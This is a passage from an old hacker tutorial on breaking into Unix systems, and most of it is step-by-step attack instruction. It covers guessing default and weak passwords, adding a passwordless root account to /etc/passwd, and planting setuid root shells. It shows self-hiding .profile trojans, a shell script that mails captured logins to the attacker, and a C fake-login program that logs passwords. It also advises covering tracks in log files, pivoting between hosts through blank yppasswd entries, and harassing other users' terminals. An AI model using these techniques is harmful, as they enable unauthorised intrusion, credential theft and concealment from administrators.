  929. group you are in.  Ok, groups are used to allow people access certain things,
  930. instead of just having one person controlling/having access to certain files.
  931. Remember also, that Unix looks at someone's UID to determine access, not
  932. user name.
  933.  
  934. Ok.  File permissions are not really that complicated.  Each file has an owner
  935. This OWNER is usually the one who creates the file, either by copying a file
  936. or just by plain editing one.  The program CHOWN can be used to give someone
  937. ownership of a file.  Remember that the owner of a file must be the one who
  938. runs CHOWN, since he is the only one that can change the permissions of a file
  939. Also, there is a group owner, which is basically the group that you were in
  940. when the file was created.  You would use chgrp to change the group a file is
  941. in.
  942.  
  943. Now, Files can have Execute permissions, read permissions, or write permission.
  944. If you have execute permission, you know that you can just type in the name
  945. of that program at the command line, and it will execute.  If you have read
  946. permission on a file, you can obviously read the file, or do anything that
  947. reads the file in, such as copying the file or cat[ing] it (Typing it).
  948. If you do NOT have access to read a file, you can't do anything that requires
  949. reading in the file.  This is the same respect with write permission.  Now,
  950. all the permissions are arranged into 3 groups.  The first is the owner's
  951. permissions.  He may have the permissions set for himself to read and execute
  952. the file, but not write to it.  This would keep him from deleting it.
  953. The second group is the group permissions.  Take an elongated directory
  954. for an example:
  955.  $ ls -l runme
  956.  r-xrwxr-- sirhack       root     10990 March 21  runme
  957.  
  958. ok.  Now, "root" is the groupname this file is in.  "sirhack" is the owner.
  959. Now, if the group named 'root' has access to read, write and execute, they
  960. could do just that.  Say .. Scythian came across the file, and was in the root
  961. user group.  He could read write or execute the file.  Now, say datawiz came
  962. across it, but was in the "users" group.  The group permissions would not
  963. apply to him, meaning he would have no permissions, so he couldn't touch
  964. the file, right?  Sorta.  There is a third group of permissions, and this is
  965. the "other" group.  This means that the permissions in the "other" group
  966. apply to everyone but the owner, and the users in the same group as the file.
  967. Look at the directory entry above.  the r-x-rwxr-- is the permissions line.
  968. The first three characters are the permissions for the owner (r-x).  The
  969. "r-x" translates to "Read and execute permissions, but no write permissions"
  970. the second set of three, r-xRWXr-- (the ones in capital letters) are the group
  971. permissions.  Those three characters mean "Read, write, and execution allowed"
  972. The 3rd set, r-xrwxR-- is the permissions for everyone else.  It means
  973. "Reading allowed, but nothing else".  A directory would look something like
  974. this:
  975.  $ ls -l
  976.  drwxr-xr-x sirhack     root  342 March 11  src
  977.  
  978. A directory has a "d" at the beggining of the permissions line.  Now, the
  979. owner of the directory (sirhack) can read from the directory, write in the
  980. directory, and execute programs from the directory.  The root group and every-
  981. one else can only read from the directory, and execute off the directory.
  982. So, If I changed the directory to be executable only, this is
  983. what it would look like:
  984.  $ chmod go-r
  985.  $ ls
  986.  drwx--x--x sirhack   root  342  March 11  src
  987.  
  988. Now, if someone went into the directory besides "sirhack", they could only
  989. execute programs in the directory.  If they did an "ls" to get a directory
  990. of src, when they were inside src, it would say "cannot read directory".
  991. If there is a file that is readable in the directory, but the directory is
  992. not readable, it is sometimes possible to read the file anyway.
  993.  
  994. If you do not have execute permissions in a directory, you won't be able to
  995. execute anything in the directory, most of the time.
  996.  
  997. _____________________________________________________________________________
  998.  
  999. --------------
  1000. Hacking:
  1001. --------------
  1002.         The first step in hacking a UNIX is to get into the operating system
  1003. by finding a valid account/password.  The object of hacking is usually to
  1004. get root (full privileges), so if you're lucky enough to get in as root,
  1005. you need not read anymore of this hacking phile , and get into the
  1006. "Having Fun" Section.  Hacking can also be just to get other's accounts also.
  1007.  
  1008. Getting IN
  1009. ----------
  1010.         The first thing to do is to GET IN to the Unix.  I mean, get past
  1011. the login prompt.  That is the very first thing.  When you come across a UNIX,
  1012. sometimes it will identify itself by saying something like,
  1013. "Young INC. Company UNIX"
  1014.  
  1015. or Just
  1016. "Young Inc.  Please login"
  1017.  
  1018.         Here is where you try the defaults I listed.  If you get in with those
  1019. you can get into the more advanced hacking (getting root). If you do something
  1020. wrong at login, you'll get the message
  1021. "login incorrect"
  1022. This was meant to confuse hackers, or keep the wondering.  Why?
  1023. Well, you don't know if you've enterred an account that does not exist, or one
  1024. that does exist, and got the wrong password.  If you login as root and it says
  1025. "Not on Console", you have a problem.  You have to login as someone else,
  1026. and use SU to become root.
  1027.  
  1028.    Now, this is where you have to think.  If you cannot get in with a
  1029. default, you are obviously going to have to find something else to
  1030. login as.  Some systems provide a good way to do this by allowing the use
  1031. of command logins.  These are ones which simply execute a command, then
  1032. logoff.  However, the commands they execute are usually useful.  For instance
  1033. there are three common command logins that tell you who is online at the
  1034. present time.  They are:
  1035.         who
  1036.         rwho
  1037.         finger
  1038.  
  1039.     If you ever successfully get one of these to work, you can write down
  1040. the usernames of those online, and try to logon as them.  Lots of unsuspecting
  1041. users use there login name as their password.  For instance, the user
  1042. "bob" may have a password named "bob" or "bob1".   This, as you know, is
  1043. not smart, but they don't expect a hacking spree to be carried out on
  1044. them.  They merely want to be able to login fast.
  1045.    If a command login does not exist, or is not useful at all, you will
  1046. have to brainstorm.  A good thing to try is to use the name of the unix
  1047. that it is identified as.  For instance, Young INC's Unix may have an account
  1048. named "young"
  1049.         Young, INC.  Please Login.
  1050.         login: young
  1051.         UNIX SYSTEM V REL 3.2
  1052.         (c)1984 AT&T..
  1053.         ..
  1054.         ..
  1055.         ..
  1056.  
  1057.    Some unixes have an account open named "test".  This is also a default,
  1058. but surprisingly enough, it is sometimes left open.  It is good to try to
  1059. use it.  Remember, brainstorming is the key to a unix that has no apparent
  1060. defaults open.  Think of things that may go along with the Unix.  type
  1061. in stuff like "info", "password", "dial", "bbs" and other things that
  1062. may pertain to the system.  "att" is present on some machines also.
  1063.  
  1064. ONCE INSIDE -- SPECIAL FILES
  1065. ----------------------------
  1066.         There are several files that are very important to the UNIX
  1067. environment.  They are as follows:
  1068.  
  1069. /etc/passwd  - This is probably the most important file on a Unix.  Why?
  1070.                well, basically, it holds the valid usernames/passwords.
  1071.                This is important since only those listed in the passwd
  1072.                file can login, and even then some can't (will explain).
  1073.                The format for the passwordfile is this:
  1074.  
  1075. username:password:UserID:GroupID:description(or real name):homedir:shell
  1076.  
  1077.                 Here are two sample entries:
  1078.  
  1079. sirhack:89fGc%^7&a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh
  1080. demo::101:100:Test Account:/usr/demo:/usr/sh
  1081.  
  1082.                 In the first line, sirhack is a valid user.  The second
  1083.                 field, however, is supposed to be a password, right?  Well,
  1084.                 it is, but it's encrypted with the DES encryption standard.
  1085.                 the part that says "&a,Ty" may include a date after the comma
  1086.                 (Ty) that tells unix when the password expires.  Yes, the
  1087.                 date is encrypted into two alphanumeric characters (Ty).
  1088.  
  1089.                 In the Second example, the demo account has no password.
  1090.                 so at Login, you could type in:
  1091.  
  1092. login: demo
  1093. UNIX system V
  1094. (c)1984 AT&T
  1095. ..
  1096. ..
  1097.  
  1098.                 But with sirhack, you'd have to enter a password.  Now,
  1099.                 the password file is great, since a lot of times, you;ll
  1100.                 be able to browse through it to look for unpassworded
  1101.                 accounts.  Remember that some accounts can be restricted
  1102.                 from logging in, as such:
  1103.  
  1104. bin:*:2:2:binaccount:/bin:/bin/sh
  1105.  
  1106.                 The '*' means you won't be able to login with it.  Your
  1107.                 only hope would be to run an SUID shell (explained later).
  1108.  
  1109.         A note about the DES encryption:  each unix makes its own unique
  1110. "keyword" to base encryption off of.  Most of the time its just random letters
  1111. and numbers.  Its chosen at installation time by the operating system.
  1112.         Now, decrypting DES encrypted things ain't easy.  Its pretty much
  1113. impossible.  Especially decrypting the password file (decrypting the password
  1114. field within the password file to be exact).  Always beware a hacker who
  1115. says he decrypted a password file.  He's full of shit.  Passwords are
  1116. never decrypted on unix, but rather, a system call is made to a function
  1117. called "crypt" from within the C language, and the string you enter as
  1118. the password gets encrypted, and compared to the encrypted password.  If
  1119. they match, you're in.  Now, there are password hackers, but they donot
  1120. decrypt the password file, but rather, encrypt words from a dictionary
  1121. and try them against every account (by crypting/comparing) until it finds
  1122. a match (later on!).  Remember, few, if none, have decrypted the password
  1123. file successfuly.
  1124.  
  1125. /etc/group - This file contains The valid groups.  The group file is usually
  1126.              defined as this:
  1127.              groupname:password:groupid:users in group
  1128.  
  1129.          Once again, passwords are encrypted here too.  If you see a blank
  1130.          in the password entry you can become part of that group by
  1131.          using the utility "newgrp". Now, there are some cases in
  1132.          which even groups with no password will allow only certain
  1133.          users to be assigned to the group via the newgrp command. Usually,
  1134.          if the last field is left blank, that means any user can use newgrp
  1135.          to get that group's access.  Otherwise, only the users specified in
  1136.          the last field can enter the group via newgrp.
  1137.  
  1138.         Newgrp is just a program that will change your group current
  1139.         group id you are logged on under to the one you specify.  The
  1140.         syntax for it is:  newgrp groupname
  1141.         Now, if you find a group un passworded, and use newgrp to
  1142.         enter it, and it asks for a password, you are not allowed to use
  1143.         the group.  I will explain this further in The "SU & Newgrp" section.
  1144.  
  1145. /etc/hosts - this file contains a list of hosts it is connected to thru
  1146.              a hardware network (like an x.25 link or something), or sometimes
  1147.              just thru UUCP.  This is a good file when you are hacking a
  1148.              large network, since it tells you systems you can use with
  1149.              rsh (Remote Shell, not restricted shell), rlogin, and telnet,
  1150.              as well as other ethernet/x.25 link programs.
  1151.  
  1152. /usr/adm/sulog (or su_log) - the file sulog (or su_log) may be found in
  1153.              Several directories, but it is usually in /usr/adm.  This file
  1154.              is what it sounds like.  Its a log file, for the program SU.
  1155.              What it is for is to keep a record of who uses SU and when.
  1156.              whenever you use SU, your best bet would be to edit this file
  1157.              if possible, and I'll tell you how and why in the section
  1158.              about using "su".
  1159.  
  1160. /usr/adm/loginlog
  1161. or /usr/adm/acct/loginlog -
  1162.         This is a log file, keeping track of the logins.
  1163.         Its purpose is merely for accounting and "security review".  Really,
  1164.         sometimes this file is never found, since a lot of systems keep the
  1165.         logging off.
  1166.  
  1167. /usr/adm/errlog
  1168. or errlog -     This is the error log.  It could be located anywhere.  It
  1169.                 keeps track of all serious and even not so serious errors.
  1170.                 Usually, it will contain an error code, then a situation.
  1171.                 the error code can be from 1-10, the higher the number, the
  1172.                 worse the error.  Error code 6 is usually used when you try
  1173.                 to hack.  "login" logs your attempt in errlog with error code
  1174.                 6.  Error code 10 means, in a nutshell, "SYSTEM CRASH".
  1175.  
  1176. /usr/adm/culog - This file contains entries that tell when you used cu,
  1177.                  where you called and so forth.  Another security thing.
  1178.  
  1179. /usr/mail/<userLogin> - this is where the program "mail" stores its mail.
  1180.                         to read a particular mailbox, so they are called,
  1181.                         you must be that user, in the user group "mail" or
  1182.                         root.  each mailbox is just a name.  for instance,
  1183.                         if my login was "sirhack" my mail file would usually
  1184.                         be: /usr/mail/sirhack
  1185.  
  1186. /usr/lib/cron/crontabs - This contains the instructions for cron, usually.
  1187.                          Will get into this later.
  1188.  
  1189. /etc/shadow - A "shadowed" password file.  Will talk about this later.
  1190.  
  1191.  
  1192. -- The BIN account --
  1193.  
  1194.        Well, right now, I'd like to take a moment to talk about the account
  1195. "bin".  While it is only a user level account, it is very powerful.  It is
  1196. the owner of most of the files, and on most systems, it owns /etc/passwd,
  1197. THE most important file on a unix.  See, the bin account owns most of the
  1198. "bin" (binary) files, as well as others used by the binary files, such
  1199. as login.  Now, knowing what you know about file permissions, if bin owns
  1200. the passwd file, you can edit passwd and add a root entry for yourself.
  1201. You could do this via the edit command:
  1202. $ ed passwd
  1203. 10999 [The size of passwd varies]
  1204. * a
  1205. sirhak::0:0:Mr. Hackalot:/:/bin/sh
  1206. {control-d}
  1207. * w
  1208. * q
  1209. $
  1210.  
  1211. Then, you could say: exec login, then you could login as sirhack, and
  1212. you'd be root.
  1213.  
  1214. /\/\/\/\/\/\/\/\/
  1215. Hacking..........
  1216. /\/\/\/\/\/\/\/\/
  1217.  
  1218. --------------
  1219. Account Adding
  1220. --------------
  1221.  
  1222.         There are other programs that will add users to the system, instead
  1223. of ed.  But most of these programs will NOT allow a root level user to be
  1224. added, or anything less than a UID of 100.  One of these programs is
  1225. named "adduser".  Now, the reason I have stuck this little section in, is
  1226. for those who want to use a unix for something useful.  Say you want a
  1227. "mailing address".  If the unix has uucp on it, or is a big college,
  1228. chances are, it will do mail transfers.  You'll have to test the unix
  1229. by trying to send mail to a friend somewhere, or just mailing yourself.
  1230. If the mailer is identified as "smail" when you mail yourself (the program
  1231. name will be imbedded in the message) that probably means that the system
  1232. will send out UUCP mail.  This is a good way to keep in contact with people.
  1233. Now, this is why you'd want a semi-permanent account.  The way to achieve this
  1234. is by adding an account similar to those already on the system.  If all the
  1235. user-level accounts (UID >= 100) are three letter abbriviations, say
  1236. "btc" for Bill The Cat, or "brs" for bill ryan smith, add an account
  1237. via adduser, and make a name like sally jane marshall or something
  1238. (they don't expect hackers to put in female names) and have the account
  1239. named sjm.  See, in the account description (like Mr. Hackalot above), that
  1240. is where the real name is usually stored.  So, sjm might look like this:
  1241.      sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh
  1242. Of course, you will password protect this account, right?
  1243. Also, group id's don't have to be above 100, but you must put the account
  1244. into one that exists.  Now, once you login with this account, the first
  1245. thing you'd want to do is execute "passwd" to set a password up.  If you
  1246. don't, chances are someone else 'll do it for you (Then you'll be SOL).
  1247.  
  1248. -------------------
  1249. Set The User ID
  1250. -------------------
  1251.  
  1252.         This is porbably one of the most used schemes.  Setting up an "UID-
  1253. Shell". What does this mean?  Well, it basically means you are going
  1254. to set the user-bit on a program.  The program most commonly used is
  1255. a shell (csh,sh, ksh, etc).  Why?  Think about it:  You'll have access
  1256. to whatever the owner of the file does.  A UID shell sets the user-ID of
  1257. the person who executes it to the owner of the program.  So if root
  1258. owns a uid shell, then you become root when you run it.  This is an
  1259. alternate way to become root.
  1260.  
  1261.         Say you get in and modify the passwd file and make a root level
  1262. account unpassworded, so you can drop in.  Of course, you almost HAVE to
  1263. get rid of that account or else it WILL be noticed eventually.  So, what
  1264. you would do is set up a regular user account for yourself, then, make
  1265. a uid shell.  Usually you would use /bin/sh to do it.  After adding
  1266. the regular user to the passwd file, and setting up his home directory,
  1267. you could do something like this:
  1268. (assume you set up the account: shk)
  1269.  # cp /bin/sh /usr/shk/runme
  1270.  # chmod a+s /usr/shk/runme
  1271.  
  1272. Thats all there would be to it.  When you logged in as shk, you could just
  1273. type in:
  1274.  
  1275.  $ runme
  1276.  #
  1277.  
  1278. See?  You'd then be root.  Here is a thing to do:
  1279.  
  1280. $ id
  1281. uid=104(shk) gid=50(user)
  1282.  
  1283. $ runme
  1284. # id
  1285. uid=104(shk) gid=50(user) euid=0(root)
  1286. #
  1287.  
  1288. The euid is the "effective" user ID.  UID-shells only set the effective
  1289. userid, not the real user-id.  But, the effective user id over-rides the
  1290. real user id.  Now, you can, if you wanted to just be annoying, make
  1291. the utilities suid to root.  What do I mean?  For instance, make 'ls'
  1292. a root 'shell'. :
  1293.  
  1294. # chmod a+s /bin/ls
  1295. # exit
  1296. $ ls -l /usr/fred
  1297. ..
  1298. ......
  1299. etc crap
  1300.  
  1301. Ls would then be able to pry into ANY directory.  If you did the same to
  1302. "cat" you could view any file.  If you did it to rm, you could delete any
  1303. file.  If you did it to 'ed', you could edit any-file (nifty!), anywhere on
  1304. the system (usually).
  1305.  
  1306.  
  1307. How do I get root?
  1308. ------------------
  1309.  
  1310.    Good question indeed.  To make a program set the user-id shell to root,
  1311. you have to be root, unless you're lucky.  What do I mean?  Well, say
  1312. you find a program that sets the user-id to root.  If you have access
  1313. to write to that file, guess what?  you can copy over it, but keep
  1314. the uid bit set.  So, say you see that the program chsh is setting
  1315. the user id too root.  You can copy /bin/sh over it.
  1316.  
  1317. $ ls -l
  1318. rwsrwsrws  root     other  10999 Jan 4  chsh
  1319. $ cp /bin/sh chsh
  1320. $ chsh
  1321. #
  1322.  
  1323. See?  That is just one way.  There are others, which I will now talk
  1324. about.
  1325.  
  1326. More on setting the UID
  1327. -----------------------
  1328.  
  1329.         Now, the generic form for making a program set the User-ID bit
  1330. is to use this command:
  1331.  
  1332. chmod a+s file
  1333.  
  1334. Where 'file' is a valid existing file.  Now, only those who own the file
  1335. can set the user ID bit.  Remember, anything YOU create, YOU own, so if
  1336. you copy th /bin/sh, the one you are logged in as owns it, or IF the
  1337. UID is set to something else, the New UID owns the file.  This brings
  1338. me to BAD file permissions.
  1339.  
  1340.  
  1341.  
  1342. II. HACKING : Bad Directory Permissions
  1343.  
  1344.         Now, what do I mean for bad directory permissions?  Well, look for
  1345. files that YOU can write to, and above all, DIRECTORIES you can write to.
  1346. If you have write permissions on a file, you can modify it.  Now, this comes
  1347. in handy when wanting to steal someone's access.  If you can write to
  1348. a user's .profile, you are in business.  You can have that user's .profile
  1349. create a suid shell for you to run when You next logon after the user.
  1350. If the .profile is writable to you, you can do this:
  1351.  
  1352. $ ed .profile
  1353. [some number will be here]
  1354. ? a
  1355. cp /bin/sh .runme
  1356. chmod a+x .runme
  1357. chmod a+s .runme
  1358. (control-d)
  1359. ? w
  1360. [new filesize will be shown]
  1361. ? q
  1362. $
  1363.  
  1364.   Now, when the user next logs on, the .profile will create .runme which
  1365.   will set your ID to the user whose .profile you changed.  Ideally, you'll
  1366.   go back in and zap those lines after the suid is created, and you'll create
  1367.   a suid somewhere else, and delete the one in his dir.  The .runme will
  1368.   not appear in the user's REGULAR directory list, it will only show up
  1369.   if he does "ls -a" (or ls with a -a combination), because, the '.' makes
  1370.   a file hidden.
  1371.  
  1372. The above was a TROJAN HORSE, which is one of the most widely used/abused
  1373. method of gaining more power on a unix.  The above could be done in C via
  1374. the system() command, or by just plain using open(), chmod(), and the like.
  1375. * Remember to check and see if the root user's profile is writeable *
  1376. * it is located at /.profile (usually) *
  1377.  
  1378.  
  1379.    The BEST thing that could happen is to find a user's directory writeable
  1380.    by you.  Why?  well, you could replace all the files in the directory
  1381.    with your own devious scripts, or C trojans.  Even if a file is not
  1382.    writeable by you, you can still overwrite it by deleteing it.  If you
  1383.    can read various files, such as the user's .profile, you can make a
  1384.    self deleting trojan as so:
  1385.  
  1386.  $ cp .profile temp.pro
  1387.  $ ed .profile
  1388.  1234
  1389.  ? a
  1390.  cp /bin/sh .runme
  1391.  chmod a+x .runme
  1392.  chmod a+s .runme
  1393.  mv temp.pro .profile
  1394.  (control-d)
  1395.  ? w
  1396.  [another number]
  1397.  ? q
  1398.  $ chown that_user temp.pro
  1399.  
  1400.   What happens is that you make a copy of the .profile before you change it.
  1401.   Then, you change the original.  When he runs it, the steps are made, then
  1402.   the original version is placed over the current, so if the idiot looks in
  1403.   his .profile, he won't see anything out of the ordinary, except that he
  1404.   could notice in a long listing that the change date is very recent, but
  1405.   most users are not paranoid enough to do extensive checks on their files,
  1406.   except sysadm files (such as passwd).
  1407.  
  1408.   Now, remember, even though you can write to a dir, you may not be able
  1409.   to write to a file without deleting it.  If you do not have write perms
  1410.   for that file, you'll have to delete it and write something in its place
  1411.   (put a file with the same name there). The most important thing to remember
  1412.   if you have to delete a .profile is to CHANGE the OWNER back after you
  1413.   construct a new one (hehe) for that user.  He could easily notice that his
  1414.   .profile was changed and he'll know who did it.  YES, you can change the
  1415.   owner to someone else besides yourself and the original owner (as to throw
  1416.   him off), but this is not wise as keeping access usually relies on the fact
  1417.   that they don't know you are around.
  1418.  
  1419.   You can easily change cron files if you can write to them.  I'm not going
  1420.   to go into detail about cronfile formats here, just find the crontab files
  1421.   and modify them to create a shell somewhere as root every once in a while,
  1422.   and set the user-id.
  1423.  
  1424. III. Trojan Horses on Detached terminals.
  1425.         Basically this:  You can send garbage to a user's screen and
  1426.         mess him up bad enough to force a logoff, creating a detached
  1427.         account.  Then you can execute a trojan horse off that terminal in
  1428.         place of login or something, so the next one who calls can hit the
  1429.         trojan horse.  This USUALLY takes the form of a fake login and
  1430.         write the username/pw entererred to disk.
  1431.  
  1432.         Now, there are other trojan horses available for you to write.  Now,
  1433.         don't go thinking about a virus, for they don't work unless ROOT runs
  1434.         them.  Anyway, a common trjan would be a shell script to get the
  1435.         password, and mail it to you.  Now, you can replace the code for
  1436.         the self deleting trojan with one saying something like:
  1437.         echo "login: \c"
  1438.         read lgin
  1439.         echo off (works on some systems)
  1440.         (if above not available...: stty -noecho)
  1441.         echo "Password:\c"
  1442.         read pw
  1443.         echo on
  1444.         echo "Login: $lgin - Pword: $pw" | mail you
  1445.  
  1446.         Now, the best way to use this is to put it in a seperate script file
  1447.         so it can be deleted as part of the self deleting trojan.  A quick
  1448.         modification, removing the "login: " and leaving the password
  1449.         may have it look like SU, so you can get the root password.  But
  1450.         make sure the program deletes itself.  Here is a sample trojan
  1451.         login in C:
  1452.  
  1453.         #include <stdio.h>
  1454.         /* Get the necessary defs.. */
  1455.         main()
  1456.         {
  1457.           char *name[80];
  1458.           char *pw[20];
  1459.           FILE *strm;
  1460.           printf("login: ");
  1461.           gets(name);
  1462.           pw = getpass("Password:");
  1463.           strm = fopen("/WhereEver/Whateverfile","a");
  1464.           fprintf(strm,"User: (%s), PW [%s]\n",name,pw);
  1465.           fclose(strm);
  1466.           /* put some kind of error below... or something... */
  1467.           printf("Bus Error - Core Dumped\n");
  1468.           exit(1);
  1469.           }
  1470.  
  1471.         The program gets the login, and the password, and appends it to
  1472.         a file (/wherever/whateverfile), and creates the file if it can,
  1473.         and if its not there.  That is just an example.  Network Annoyances
  1474.         come later.
  1475.  
  1476.  IV.  Odd systems
  1477.  
  1478.         There may be systems you can log in to with  no problem, and find some
  1479. slack menu, database, or word processor as your shell, with no way to the
  1480. command interpreter (sh, ksh, etc..).  Don't give up here.  Some systems will
  1481. let you login as root, but give you a menu which will allow you to add an
  1482. account.  However, ones that do this usually have some purchased software
  1483. package running, and the people who made the software KNOW that the people
  1484. who bought it are idiots, and the thing will sometimes only allow you to
  1485. add accounts with user-id 100 or greater, with their special menushell as
  1486. a shell.  You probably won't get to pick the shell, the program will probably
  1487. stick one on the user you created which is very limiting.  HOWEVER, sometimes
  1488. you can edit accounts, and it will list accounts you can edit on the screen.
  1489. HOWEVER, these programs usually only list those with UIDS > 100 so you don't
  1490. edit the good accounts, however, they donot stop you from editing an account
  1491. with a UID < 100.  The "editing" usually only involves changing the password
  1492. on the account.  If an account has a * for a password, the standard passwd
  1493. program which changes programs, will say no pw exists, and will ask you to
  1494. enter one. (wallah! You have just freed an account for yourself.  Usually
  1495. bin and sys have a * for a password).  If one exists you'll have to enter
  1496. the old Password (I hope you know it!) for that account.  Then, you are
  1497. in the same boat as before. (BTW -- These wierd systems are usually
  1498. Xenix/386, Xenix/286, or Altos/286)
  1499.         With word processors, usually you can select the load command,
  1500. and when the word processor prompts for a file, you can select the passwd
  1501. file, to look for open accounts, or at least valid ones to hack.  An example
  1502. would be the informix system.  You can get a word processor with that such
  1503. as Samna word, or something, and those Lamers will not protect against
  1504. shit like that.  Why?  The Passwd file HAS to be readable by all for the most
  1505. part, so each program can "stat" you.  However, word processors could be made
  1506. to restrict editing to a directory, or set of directories.  Here is an
  1507. example:
  1508.  
  1509.         $ id
  1510.         uid=100(sirhack) gid=100(users)
  1511.         $ sword
  1512.         (word processor comes up)
  1513.         (select LOAD A FILE)
  1514.         <Edit File>: /etc/passwd
  1515.         <Loading..>
  1516.         (you see: )
  1517.         root:dkdjkgsf!!!:0:0:Sysop:/:/bin/sh
  1518.         sirhack:dld!k%%^%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh
  1519.         datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh
  1520.         ...
  1521.  
  1522. Now I have found an account to take over! "datawiz" will get me in with no
  1523. trouble, then I can change his password, which he will not like at all.
  1524. Some systems leave "sysadm" unpassworded (stupid!), and now, Most versions
  1525. of Unix, be it Xenix, Unix, BSD, or whatnot, they ship a sysadm shell which
  1526. will menu drive all the important shit, even creating users, but you must
  1527. have ansi or something.
  1528.  
  1529.         You can usually tell when you'll get a menu.  Sometimes on UNIX
  1530.         SYSTEM V, when it says TERM = (termtype), and is waiting for
  1531.         you to press return or whatever, you will probably get a menu.. ack.
  1532.  
  1533. V. Shadowed Password files
  1534.         Not much to say about this.  all it is, is when every password field
  1535.         in the password file has an "x" or just a single character.  What
  1536.         that does is screw you, becuase you cannot read the shadowed password
  1537.         file, only root can, and it contains all the passwords, so you will
  1538.         not know what accounts have no passwords, etc.
  1539.  
  1540. There are a lot of other schemes for hacking unix, lots of others, from
  1541. writing assembly code that modifies the PCB through self-changing code which
  1542. the interrupt handler doesn't catch, and things like that.  However, I do
  1543. not want to give away everything, and this was not meant for advanced Unix
  1544. Hackers, or atleast not the ones that are familiar with 68xxx, 80386 Unix
  1545. assembly language or anything.  Now I will Talk about Internet.
  1546.  
  1547.  
  1548.  
  1549. --->>> InterNet <<<---
  1550.         Why do I want to talk about InterNet?  Well, because it is a prime
  1551. example of a TCP/IP network, better known as a WAN (Wide-Area-Network).
  1552. Now, mainly you will find BSD systems off of the Internet, or SunOS, for
  1553. they are the most common.  They may not be when System V, Rel 4.0, Version
  1554. 2.0 comes out.  Anyway,  these BSDs/SunOSs like to make it easy to jump
  1555. from one computer to another once you are logged in.  What happens is
  1556. EACH system has a "yello page password file". Better known as yppasswd.
  1557. If you look in there, and see blank passwords you can use rsh, rlogin, etc..
  1558. to slip into that system.  One system in particular I came across had a
  1559. a yppasswd file where *300* users had blank passwords in the Yellow Pages.
  1560. Once I got in on the "test" account, ALL I had to do was select who I wanted
  1561. to be, and do: rlogin -l user (sometimes -n).  Then it would log me onto
  1562. the system I was already on, through TCP/IP.  However, when you do this,
  1563. remember that the yppasswd only pertains to the system you are on at
  1564. the time.  To find accounts, you could find the yppasswd file and do:
  1565.  
  1566. % cat yppasswd | grep ::
  1567.  
  1568. Or, if you can't find yppasswd..
  1569.  
  1570. % ypcat passwd | grep ::
  1571.  
  1572. On ONE system (which will remain confidential), I found the DAEMON account
  1573. left open in the yppasswd file.  Not bad.  Anyway,  through one system
  1574. on the internet, you can reach many.  Just use rsh, or rlogin, and look
  1575. in the file: /etc/hosts for valid sites which you can reach.  If you get
  1576. on to a system, and rlogin to somewhere else, and it asks for a password,
  1577. that just means one of two things:
  1578.  
  1579. A. Your account that you have hacked on the one computer is on the target
  1580.    computer as well.  Try to use the same password (if any) you found the
  1581.    hacked account to have.  If it is a default, then it is definitly on the
  1582.    other system, but good luck...
  1583.  
  1584. B. rlogin/rsh passed your current username along to the remote system, so it
  1585.    was like typing in your login at a "login: " prompt.  You may not exist on
  1586.    the other machine.  Try "rlogin -l login_name", or rlogin -n name..
  1587.    sometimes, you can execute "rwho" on another machine, and get a valid
  1588.    account.
  1589.  
  1590. Some notes on Internet servers.  There are "GATEWAYS" that you can get into
  1591. that will allow access to MANY internet sites.  They are mostly run off
  1592. a modified GL/1 or GS/1.  No big deal.  They have help files.  However,
  1593. you can get a "privilged" access on them, which will give you CONTROL of
  1594. the gateway.. You can shut it down, remove systems from the Internet, etc..
  1595. When you request to become privileged, it will ask for a password.  There is
  1596. a default.  The default is "system".  I have come across *5* gateways with
  1597. the default password.  Then again, DECNET has the same password, and I have
  1598. come across 100+ of those with the default privileged password.  CERT Sucks.
  1599. a Gateway that led to APPLE.COM had the default password.  Anyone could
  1600. have removed apple.com from the internet.  Be advised that there are many
  1601. networks now that use TCP/IP.. Such as BARRNET, LANET, and many other
  1602. University networks.
  1603.  
  1604. --** Having Fun **--
  1605.  
  1606. Now, if nothing else, you should atleast have some fun.  No, I do not mean
  1607. go trashing hardrives, or unlinking directories to take up inodes, I mean
  1608. play with online users.  There are many things to do.  Re-direct output
  1609. to them is the biggie.  Here is an example:
  1610.  $ who
  1611.  loozer   tty1
  1612.  sirhack  tty2
  1613.  $ banner You Suck >/dev/tty1
  1614.  $
  1615.  That sent the output to loozer.  The TTY1 is where I/O is being performed
  1616.  to his terminal (usually a modem if it is a TTY).  You can repetitiously
  1617.  banner him with a do while statement in shell, causing him to logoff. Or
  1618.  you can get sly, and just screw with him.  Observe this C program:
  1619.  
  1620. #include <stdio.h>
  1621. #include <fcntl.h>
  1622. #include <string.h>
  1623.  
  1624. main(argc,argument)
  1625. int argc;
  1626. char *argument[];
  1627. {
  1628.     int handle;
  1629.     char *pstr,*olm[80];
  1630.     char *devstr = "/dev/";
  1631.     int acnt = 2;
  1632.     FILE *strm;
  1633.     pstr = "";
  1634.     if (argc == 1) {
  1635.                 printf("OL (OneLiner) Version 1.00 \n");
  1636.                 printf("By Sir Hackalot [PHAZE]\n");
  1637.         printf("\nSyntax: ol tty message\n");
  1638.         printf("Example: ol tty01 You suck\n");
  1639.         exit(1);
  1640.     }
  1641.     printf("OL (OneLiner) Version 1.0\n");
  1642.         printf("By Sir Hackalot [PHAZE]\n");
  1643.     if (argc == 2) {
  1644.         strcpy(olm,"");
  1645.         printf("\nDummy! You forgot to Supply a ONE LINE MESSAGE\n");
  1646.         printf("Enter one Here => ");
  1647.         gets(olm);
  1648.     }
  1649.     strcpy(pstr,"");
  1650.     strcat(pstr,devstr);
  1651.         strcat(pstr,argument[1]);
  1652.     printf("Sending to: [%s]\n",pstr);
  1653.     strm = fopen(pstr,"a");
  1654.     if (strm == NULL) {
  1655.         printf("Error writing to: %s\n",pstr);
  1656.         printf("Cause: No Write Perms?\n");
  1657.         exit(2);
  1658.     }
  1659.     if (argc == 2) {
  1660.                 if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s): \n",logname());
  1661.                 fprintf(strm,"%s\n",olm);
  1662.         fclose(strm);
  1663.         printf("Message Sent.\n");
  1664.         exit(0);
  1665.     }
  1666.         if (argc > 2) {                             
  1667.                 if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s):\n",logname());
  1668.         while (acnt <= argc - 1) {
  1669.             fprintf(strm,"%s ",argument[acnt]);
  1670.             acnt++;
  1671.         }
  1672.         fclose(strm);
  1673.         printf("Message sent!\n");
  1674.         exit(0);
  1675.     }
  1676. }
  1677.  
  1678. What the above does is send one line of text to a device writeable by you
